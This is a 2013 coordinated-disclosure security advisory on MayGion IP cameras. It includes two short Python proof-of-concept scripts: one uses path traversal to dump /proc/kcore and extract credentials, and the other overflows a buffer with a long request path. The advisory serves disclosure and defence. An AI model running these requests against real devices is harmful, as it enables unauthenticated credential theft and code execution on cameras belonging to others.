**Title:**MayGion IP Cameras multiple vulnerabilities
**Advisory ID:**CORE-2013-0322
**Date published:**2013-05-28
**Date of last update:**2013-05-28
**Vendors contacted:**MayGion
**Release mode:**Coordinated release
**Class:**Path traversal [CWE-22], Buffer overflow [CWE-119]
**Impact:**Code execution, Security bypass
**Remotely Exploitable:**Yes
**Locally Exploitable:**No
CVE Name:CVE-2013-1604, CVE-2013-1605
Multiple vulnerabilities have been found in MayGion IP cameras [1] based on firmware v09.27 and below, that could allow an unauthenticated remote attacker:
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team.
[CVE-2013-1604] The following Python code exploits a path traversal and dumps the camera’s memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker.
import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = resp.read() conn.close()
[CVE-2013-1605] The following Python script can be used to trigger the vulnerability without authentication. As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition.
import httplib conn = httplib.HTTPConnection("192.168.100.1") conn.request("GET", "/" + "A" * 3000 + ".html") resp = conn.getresponse() data = resp.read() conn.close()
[1] <http://www.maygion.com>
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